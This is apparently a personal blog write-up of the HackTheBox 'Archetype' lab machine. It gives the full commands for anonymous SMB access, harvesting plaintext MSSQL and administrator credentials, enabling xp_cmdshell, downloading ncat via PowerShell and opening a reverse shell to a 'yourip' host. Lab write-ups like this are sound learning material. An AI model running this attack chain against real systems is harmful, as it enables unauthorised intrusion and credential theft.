Writeup: HackTheBox - Archetype

I'm still new to HackTheBox, and Cybersecurity in general, so I want to use this blog to document my learning progress.

Archetype is the first box of Tier 2 of the HTB Starting Point machines. Judging from the questions asked, this seems to be the first box that requires us to submit a user flag as well as a root flag. Let's get started with the port scan:

┌─[alex@parrot][~]
└──╼ $nmap -sV -sC -Pn $ip
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-25 16:22 CEST
Nmap scan report for 10.129.89.40
Host is up (0.050s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM

We can see that the machine has open SMB ports as well as a Microsoft SQL Server. I've encountered some boxes already that allowed anonymous access to the SMB, so let's try that first. We're going to try listing all the shares:

┌─[alex@parrot][~]
└──╼ $smbclient -L -N $ip

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backups         Disk
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available

Authenticating with no password worked! We can see the default shares ADMIN$ and C$ , but unfortunately we cannot access them.

Trying the backup share however works, and shows a single file:

┌─[alex@parrot][~]
└──╼ $smbclient -N \\\\$ip\\backups
Password for [WORKGROUP\alex]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 20 13:20:57 2020
  ..                                  D        0  Mon Jan 20 13:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 13:23:02 2020

		5056511 blocks of size 4096. 2547768 blocks available
smb: \>

Searching for the .dtsConfig extension reveals that this is a configuration file for MSSQL server. Wait, didn't we find one enumerating the ports? Surely there's nothing exciting in this config right...

smb: \> more prod.dtsConfig

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

Ah yes, plaintext credentials. We love those! The user id also seems to indicate that this is a domain user. Let's try connecting to the server via the impacket mssqlclient:

┌─[][alex@parrot][/etc/impacket/examples]
└──╼ $mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@$ip -windows-auth
Impacket v0.12.0.dev1+20231015.203043.419e6f24 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc  dbo@master)>

Yes! That's good. Let's see what kind of access we have.

Using this documentation, we're going to check if we're an admin:

SQL (ARCHETYPE\sql_svc  dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin')

-
1

Yes. Our next goal is to enable cmd execution, which can be done via xp_cmdshell. Let's see if that is activated:

SQL (ARCHETYPE\sql_svc  dbo@master)> EXEC xp_cmdshell 'net user';
ERROR: Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

Okay. We will need to reactivate it by executing the following commands in order:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Flags are usually on the Desktops, so let's check what we can find with our new command execution:

SQL (ARCHETYPE\sql_svc  dbo@master)> xp_cmdshell "powershell -c dir c:/users/"
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/19/2020  10:39 PM                Administrator
d-r---        1/19/2020  10:39 PM                Public
d-----        1/20/2020   5:01 AM                sql_svc

Unfortunately we don't have access to the Administrator directory, but we can find the user flag on the sql_svc user's desktop.

> xp_cmdshell "powershell -c cat c:/users/sql_svc/desktop/user.txt"

Our next step is local privilege escalation. To check for possible attack vectors, we're going to use winPEAS.

To get the tool on the remote machine and execute, let's setup a reverse shell first. Here's how we're going to do that:

  1. Setup a netcat listener on a port on our machine
┌─[alex@parrot][~]
└──╼ $nc -lvnp 4242
listening on [any] 4242 ...
  1. Setup a simple python webserver on our machine that serves a ncat executable
┌─[alex@parrot][/usr/share/windows-resources/ncat]
└──╼ $sudo python3 -m http.server 80
[sudo] password for alex:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  1. Download that exe to our target machine via powershell
> xp_cmdshell "powershell -c cd c:/users/sql_svc/downloads; wget http://yourip/ncat.exe -outfile ncat.exe"
  1. Execute netcat on our target machine to run cmd.exe
> xp_cmdshell "powershell -c cd c:/users/sql_svc/downloads; ./ncat.exe -e cmd.exe yourip 4242"
connect to [yourip] from (UNKNOWN) [targetip] 49683
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\users\sql_svc\downloads>

Bingo! Now we can get winPEAS on our target machine, and execute it

C:\users\sql_svc\downloads>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\users\sql_svc\downloads> wget http://yourip/winPEASx64.exe -outfile winPEASx64.exe
PS C:\users\sql_svc\downloads> ./winPEASx64.exe

This checks a lot of different attack vectors, and I was a bit overwhelmed so I decided to go with one of the first things it marked:

PowerShell Settings
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.1.17763.1
    PowerShell Core Version:
    Transcription Settings:
    Module Logging Settings:
    Scriptblock Logging Settings:
    PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    PS history size: 79B

Powershell apparently saves a history file. Theoretically this could contain credentials, but surely not, right...

PS C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cat ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

I decided to use those credentials with our trusty smbclient to access the C$ share and get our well-earned root flag :)

┌─[][alex@parrot][/etc/impacket/examples]
└──╼ $ smbclient \\\\$ip\\C$ -U administrator
Password for [WORKGROUP\administrator]:
smb: \> cd users/administrator/desktop
smb: \users\administrator\desktop\> more root.txt

Aaaand that's it! For me personally, this was probably the most challenging box yet. The privilege escalation part took me a lot of time, while the foothold was done pretty quickly. Hope you'll join me for the next writeup!